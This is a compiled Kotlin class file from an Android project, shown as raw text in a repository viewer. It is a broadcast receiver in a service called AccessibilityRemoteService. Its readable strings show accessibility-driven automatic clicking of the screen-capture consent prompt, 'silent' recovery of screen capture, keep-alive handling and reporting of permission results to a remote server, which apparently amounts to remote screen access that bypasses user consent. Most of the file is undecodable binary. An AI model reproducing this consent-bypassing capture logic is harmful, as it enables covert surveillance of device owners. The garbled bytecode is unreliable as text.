Files
and-bak/app/build/tmp/kotlin-classes/debug/com/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1.class

129 lines
12 KiB
Plaintext
Raw Normal View History

2026-02-11 16:59:49 +08:00
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<01>Lcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1!android/content/BroadcastReceiver<init>5(Lcom/hikoncont/service/AccessibilityRemoteService;)Vthis$02Lcom/hikoncont/service/AccessibilityRemoteService;   ()V 
 thisNLcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1; $receiver onReceive4(Landroid/content/Context;Landroid/content/Intent;)V$Lorg/jetbrains/annotations/Nullable;java/lang/Exceptionandroid/content/Intent getAction()Ljava/lang/String; 
java/lang/StringhashCode()I 
 4android.mycustrecev.ANDROID15_SECONDARY_CONFIRMATION"equals(Ljava/lang/Object;)Z $%
&&android.mycustrecev.PERMISSION_GRANTED(,android.mycustrecev.MEDIA_PROJECTION_GRANTED*"android.mycustrecev.ENABLE_LOGGING,&android.mycustrecev.PERMISSION_REQUEST.1android.mycustrecev.REACTIVATE_PERMISSION_GRANTER0/android.mycustrecev.START_ACCESSIBILITY_SERVICE2*android.mycustrecev.MANUAL_ACTION_REQUIRED45android.mycustrecev.WRITE_SETTINGS_PERMISSION_GRANTED6permission_type8getStringExtra&(Ljava/lang/String;)Ljava/lang/String; :;
<
requesting>getBooleanExtra(Ljava/lang/String;Z)Z @A
BAccessibilityRemoteServiceDjava/lang/StringBuilderF
G 收到权限申请广播: Iappend-(Ljava/lang/String;)Ljava/lang/StringBuilder; KL
GM, requesting: O(Z)Ljava/lang/StringBuilder; KQ
GRtoString T
GUandroid/util/LogWi'(Ljava/lang/String;Ljava/lang/String;)I YZ
X[media_projection]kotlin/jvm/internal/Intrinsics_areEqual'(Ljava/lang/Object;Ljava/lang/Object;)Z ab
`c0com/hikoncont/service/AccessibilityRemoteServiceeaccess$getPermissionGranter$p](Lcom/hikoncont/service/AccessibilityRemoteService;)Lcom/hikoncont/manager/PermissionGranter; gh
fi#com/hikoncont/MediaProjectionHolderkINSTANCE%Lcom/hikoncont/MediaProjectionHolder; mn logetPermissionData()Lkotlin/Pair; qr
ls@<40><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MediaProjection权限数据已存储跳过重复申请uandroid/os/Build$VERSIONwSDK_INTI yz x{><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 15设备权限已存在执行智能处理}getMediaProjection,()Landroid/media/projection/MediaProjection; <00>
l<00>Q<><51><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 15权限数据存在但MediaProjection对象为null尝试恢复<00>%access$attemptAndroid15SilentRecovery5(Lcom/hikoncont/service/AccessibilityRemoteService;)Z <00><00>
f<00> ✅ Android 15静默恢复成功<00>8❌ Android 15静默恢复失败权限可能已过期<00>w <00>Z
X<00>clearPermissionData <00>
l<00>permissionGranter<00>)throwUninitializedPropertyAccessException(Ljava/lang/String;)V <00><00>
`<00>'com/hikoncont/manager/PermissionGranter<00>setMediaProjectionRequesting(Z)V <00><00>
<00><00>7<><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 已清理过期权限数据,允许重新申请<00>-access$getAndroid15PermissionStableNotified$p <00><00>
f<00>-access$setAndroid15PermissionStableNotified$p6(Lcom/hikoncont/service/AccessibilityRemoteService;Z)V <00><00>
f<00>/android.mycustrecev.ANDROID15_PERMISSION_STABLE<00> <00>
<00> sendBroadcast(Landroid/content/Intent;)V <00><00>
f<00>*android.mycustrecev.STOP_ACTIVITY_CREATION<00>9<><39><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 权限已存在发送停止Activity创建广播<00>access$isNetworkConnected <00><00>
f<00>access$getServiceScope$pW(Lcom/hikoncont/service/AccessibilityRemoteService;)Lkotlinx/coroutines/CoroutineScope; <00><00>
f<00>Xcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$2<00>U(Lcom/hikoncont/service/AccessibilityRemoteService;Lkotlin/coroutines/Continuation;)V <00>
<00><00>kotlin/jvm/functions/Function2<00>kotlinx/coroutines/BuildersKt<00>launch$default<00>(Lkotlinx/coroutines/CoroutineScope;Lkotlin/coroutines/CoroutineContext;Lkotlinx/coroutines/CoroutineStart;Lkotlin/jvm/functions/Function2;ILjava/lang/Object;)Lkotlinx/coroutines/Job; <00><00>
<00><00>k<><6B><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 11+设备已设置MediaProjection请求标志位PermissionGranter将自动点击确认<00>success<00>permission_recovery<00>(REFRESH_com.hikoncont.PERMISSION_REQUEST<00>1收到MediaProjection权限结果广播: success=<00>, permissionRecovery=<00>, refreshRequest=<00>access$getNetworkManager$pb(Lcom/hikoncont/service/AccessibilityRemoteService;)Lcom/hikoncont/service/modules/NetworkManager; <00><00>
f<00>networkManager<00>,com/hikoncont/service/modules/NetworkManager<00>getSocketIOManager)()Lcom/hikoncont/network/SocketIOManager; <00><00>
<00><00>投屏权限重新申请成功<00>投屏权限重新申请失败<00>%com/hikoncont/network/SocketIOManager<00>sendPermissionResponse((Ljava/lang/String;ZLjava/lang/String;)V <00><00>
<00><00>8<><38><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 已发送权限申请响应到服务端: success=<00>5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 15设备使用优化权限完成处理<00>Xcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$5<00>
<00><00>B✅ MediaProjection权限成功已重置PermissionGranter状态<00>4<><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 开始权限恢复:重新启动屏幕捕获<00>Xcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$6<00>
<00><00>Xcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$7<00>
<00><00>EMediaProjection权限获取失败但仍继续建立服务器连接<00>Xcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$8<00>
<00>granted!<21><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 收到权限成功广播:  , granted: 'access$setPermissionRequestInProgress$p <00>
f W<><57><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 权限成功已重置PermissionGranter状态停止MainActivity创建循环 -<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 立即发送停止Activity创建广播 Ycom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$10
<00>message!<21><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 收到手动操作通知:  - 9✅ 已重置PermissionGranter状态停止自动点击Ycom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$12
<00>3<><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 收到PermissionGranter重新激活请求<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 权限已存在跳过PermissionGranter重新激活?✅ PermissionGranter已重新激活准备处理权限申请!9⚠ PermissionGranter未初始化无法重新激活#)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 15二次确认监听激活% access$getScreenCaptureManager$p`(Lcom/hikoncont/service/AccessibilityRemoteService;)Lcom/hikoncont/manager/ScreenCaptureManager; '(
f)screenCaptureManager+*com/hikoncont/manager/ScreenCaptureManager-isPaused()Z /0
.12<><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 15权限状态检查: 权限数据=3, MediaProjection=5, 屏幕捕获中=75❌ Android 15权限完全丢失需要重新申请9f⚠ Android 15权限运行时丢失有权限数据但MediaProjection为null尝试静默恢复;5❌ Android 15静默恢复失败需要重新申请=5✅ Android 15权限完全正常进入保活模式?P<><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Android 15权限保活停止申请流程启用保活确认处理AY⚠ Android 15边缘情况无权限数据但有MediaProjection保持当前状态CreasonE0收到WRITE_SETTINGS权限结果广播: success=G , reason=I<✅ WRITE_SETTINGS权限申请成功继续服务初始化K)⚠️ WRITE_SETTINGS权限申请失败: M,但继续服务初始化OYcom/hikoncont/service/AccessibilityRemoteService$permissionRequestReceiver$1$onReceive$15Q
R<00>(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 收到无障碍服务启动广播T&access$handleAccessibilityServiceStart V
fW%<25><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 收到启用日志记录广播Y enableLogging [
f\+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 安装完成后已启用日志记录^处理权限申请广播失败`java/lang/Throwablebe<(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I de
Xf stableIntentLandroid/content/Intent;hasMediaProjectionZ
stopIntentpermissionData Lkotlin/Pair;permissionTypeLjava/lang/String;socketIOManager'Lcom/hikoncont/network/SocketIOManager;permissionRecoveryrefreshRequest hasPermissionisScreenCapturingLjava/lang/Exception;contextLandroid/content/Context;intent kotlin/Pair{android/content/Context}java/lang/ObjectLkotlin/Metadata;mvkxi0d1Q<><51>
<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>*<01><>
<18><>20J02020H¨d2#Landroid/content/BroadcastReceiver; app_debug/android/content/BroadcastReceiver$PendingResult<01> PendingResultandroid/os/Build<01>VERSIONAccessibilityRemoteService.ktCodeLineNumberTableLocalVariableTable StackMapTable$RuntimeInvisibleParameterAnnotations InnerClassesEnclosingMethod
SourceFileRuntimeVisibleAnnotations1<01>>
*+<2B>
*<2A> <0A><01><10><01>

<01> <0C> <07>,Y<> <09><1B>WN-<2D><07>-<2D>!<21><07> <09>E<EFBFBD>.u<>zI<7A><00><><00>C<><43><00>(<28><>V]9<>|<00>:t<>7Q:<3A>*<2A>iY<69><59>*<00>-#<23>'<27>,<2C>Y-)<29>'<27>K<>M-+<2B>'<27>§A--<2D>'<27><0E>5-/<2F>'<27>6<>)-1<>'<27>R<>-3<>'<27>ק-5<>'<27><03><>-7<>'<27>4<><06>,9<>=:,?<03>C6E<>GY<47>HJ<>N<04>NP<>N<05>S<>V<>\W^<5E>d<><06><05><06>*<2A>
<EFBFBD>j<><06><>p<>t:<06><00>Ev<>\W<>|#<23><00>E~<7E>\W<>p<><00><><04>6<07>ME<12><>\W*<2A>
<EFBFBD><00><>E<12><>\W<>0E<12><><00>W<EFBFBD>p<><00>*<2A>
<EFBFBD>jY<6A>
W<12><><00><04><00>E<12><>\W<>*<2A>
<EFBFBD><00><>*<2A>
<04><00><>Y<12><><00>:*<2A>
<08><00>*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00><>Y<12><><00>:*<2A>
<07><00>E<12><>\W*<2A>
<EFBFBD><00><>!*<2A>
<EFBFBD><00><01><00>Y*<2A>
<01><00><><00><01><00>W<EFBFBD>*<2A>
<EFBFBD>jY<6A>
W<12><><00><04><00>Eɸ\W<><05>,<12><03>C6,<12><03>C6,<12><03>C6E<>GY<47>HѶN<04>SӶN<05>SնN<06>S<>V<>\W<06>\*<2A>
<EFBFBD><00><>R*<2A>
<EFBFBD><00>Y<EFBFBD>
W۸<00><01><00>:<07>6<04><12><><12>:^<08><00>E<>GY<47>H<12><>N<04>S<>V<>\W<04><00>*<2A>
<EFBFBD>j<>R<>|#<23>,E<12><>\W*<2A>
<EFBFBD><00><01><00>Y*<2A>
<01><00><><00><01><00>W<EFBFBD>!*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00>E<12><>\W<05>,E<12><>\W*<2A>
<EFBFBD><00><01><00>Y*<2A>
<01><00><><00><01><00>W<EFBFBD>R*<2A>
<EFBFBD><00><01><00>Y*<2A>
<01><00><><00><01><00>W<EFBFBD>1E<12><><00>W*<2A>
<EFBFBD><00><01>Y*<2A>
<01><01><00><01><00>W<EFBFBD>,9<>=:,<03>C6E<>GY<47>H<05>N<04>N<07>N<05>S<>V<>\W^<5E>d<><03><05><03>*<2A>
<03>
*<2A>
<EFBFBD>j<>"*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00>E <0C>\W<>Y<12><><00>:*<2A>
<06><00>E<0E>\W*<2A>
<EFBFBD><00><01>Y*<2A>
<01><11><00><01><00>W<EFBFBD>R,9<>=:,<13>=:E<>GY<47>H<15>N<04>N<17>N<05>N<>V<><00>W*<2A>
<EFBFBD>j<>"*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00>E<19>\W*<2A>
<EFBFBD><00><01>Y*<2A>
<01><1C><00><01><00>W<EFBFBD><02>E<1E>\W*<2A>
<EFBFBD>j<><00><>p<>t:<04>SE <20>\W<>|#<23>)*<2A>
<EFBFBD><00><>*<2A>
<04><00><>Y<12><><00>:*<2A>
<05><00>*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00><>a*<2A>
<EFBFBD>jY<6A>
W<12><><00><04><00>E"<22>\W<>?E$<24><00>W<EFBFBD>3E&<26>\W*<2A>
<EFBFBD>j<> <20>|#<23><18>p<>t<><04>6<04>p<><00><><04>6*<2A>
<EFBFBD>*<2A>$*<2A>
<EFBFBD>*Y<> W,<2C><00><01>2<><04><03>6E<>GY<47>H4<>N<04>S6<>N<05>S8<>N<06>S<>V<>\W<04>*<05>%E:<3A><00>W*<2A>
<EFBFBD>jY<6A>
W<12><><00><04><00><>l<04>^<05>YE<<3C><00>W*<2A>
<EFBFBD><00><>$E<12><>\W*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00><>.E><3E><00>W*<2A>
<EFBFBD>jY<6A>
W<12><><00><04><00><> <04>3<05>.E@<40>\W*<2A>
<EFBFBD>jY<6A>
W<12><><00><03><00>EB<>\W<><00>ED<><00>W<EFBFBD><00>,<12><03>C6,F<>=:E<>GY<47>HH<>N<04>SJ<>N<05>N<>V<>\W<04>EL<>\W<>$E<>GY<47>HN<>N<05>NP<>N<>V<><00>W*<2A>
<EFBFBD><00><01>RY*<2A>
<01>S<><00><01><00>W<EFBFBD>@EU<>\W*<2A>
<EFBFBD>X<>-EZ<>\W*<2A>
<EFBFBD>]E_<>\W<>NEa-<2D>c<>gW<67><07><07><01>>ELA<1D>Y <0B>|@<01>#_<00> <0C>%Q<00><>G<17>Q<00><><0E>i~<00><><00>A<1D>&?Q<00> - <20>(<28>j~<00> <0C>=<3D>R~<00> <0C> <20>V|Q<00>Q<00><> '@<01>@<01>~. @<01>X~<00>v<00>Z<00>d<00><0F> <0B>H <20> <18>~<15> <01><01><02><00><10><10><00><10><00><10><00><10> <10><10>"<10>(<10>*<10>/<10>7<10>?<10>G<10>U<10>W<10>\<10>^<10>`<10>d<10>n<10>y<10>{<10>}<10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><01><10><10>&<10>'<10>=<10>H<10>Q<10>X<10>Z<10>a<10>c<10>e<10><02><10><02><10><02><10><02><10><02><02><10><02><02><02><02><02><02><02>
<02> <02> /(E*G+I)M0R2Z3{F<03>T<03>W<03>g<03>h<03>i<03>k mqs4u6v9t={H|Q}Z<11>{<11><04><11><04><11><04><11><04><11><04><11><04><11><04><11><11><11><11><11>%<11>7<11>?<11>H<11>J<11>S<11>l<11><05><11><05><11><05><11><05><11><05><11><05><11><05><11><05><11><11><11><11>0<11>4<11>5<11>?<11>H<11>a<11>k<11>m<11>p<11>t<11>~<11><06><11><06><11><06><11><06><11><06><11><06><11><06><11><06><11><06><11><06><11><06><11><06><11><11> <11><11><11>6<11>:?Kl <07><07><07><07><07><07><07><07><01><01> hiWujk<01>:li*mn<00>iop<00>`>k<02>%p<02>8qrQq<00>kZhskc_tkH0li<03><00>op<03><00>k<04>vop<04>mpJ hitmn<05>:uk<05>*jk<00>vk <00>kvEp<07> dw<07><07>xy<07>zi<01> <01>Z <01><01> x<01><01> <00><00><00><00>R<01>f <01><01><01>F<01><01>[I<01>I<01>I<01><01>I<01><01>I<01><01>[s<01><01>[ ss<01>ss<01>sxsyszsis<01>